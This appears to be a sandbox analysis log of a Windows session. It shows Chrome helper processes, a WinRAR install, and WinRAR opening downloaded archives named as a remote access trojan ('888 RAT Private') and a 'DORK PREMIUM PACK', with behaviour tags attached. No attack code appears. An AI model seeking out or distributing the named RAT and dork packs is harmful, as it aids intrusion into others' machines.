C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6912 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6872 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6592 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3312 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6760 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7460 /prefetch:82⤵
-
C:\Users\Admin\Downloads\winrar-x64-611.exe"C:\Users\Admin\Downloads\winrar-x64-611.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\WinRAR\uninstall.exe"C:\Program Files\WinRAR\uninstall.exe" /setup3⤵
- Modifies system executable filetype association
- Executes dropped EXE
- Registers COM server for autorun
- Drops file in Program Files directory
- Modifies registry class
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6328 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5920 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\888 RAT Private (2).rar"2⤵
- Executes dropped EXE
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6660 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3876 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5144 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4840 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5820 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5792 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6376 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6552 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6364 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4892 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5184 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3716 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5852 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=108 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6660 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=109 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5404 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=110 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5912 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=111 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3112 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7192 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=113 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4932 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=114 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7164 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=115 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4792 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=116 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6660 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=117 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=118 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6816 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=119 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7392 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6264 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6844 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4960 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=123 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=124 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5768 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=125 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4876 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=126 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4836 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6176 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=128 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4884 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3716 /prefetch:82⤵
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\888Rat.rar"2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=130 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5872 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=131 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4672 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=132 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1436 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=133 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4852 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=134 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6276 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=135 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5924 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=136 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5232 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=137 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6436 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=138 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=139 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6440 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=140 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6104 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=141 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=142 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5872 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=143 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4952 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=144 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3824 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=145 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2148 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=146 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6208 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=147 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3440 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=148 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7256 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=149 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=908 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=150 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2784 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=151 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5388 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=152 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6932 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=154 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7676 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=153 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5752 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=155 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7820 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=156 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6876 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8284 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=158 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8260 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=159 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8276 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=160 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8472 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4772 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6696 /prefetch:82⤵
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\DORK PREMIUM PACK.rar"2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7452 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7820 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6428 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,2552656539707022691,10654221272514826256,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6168 /prefetch:82⤵
-
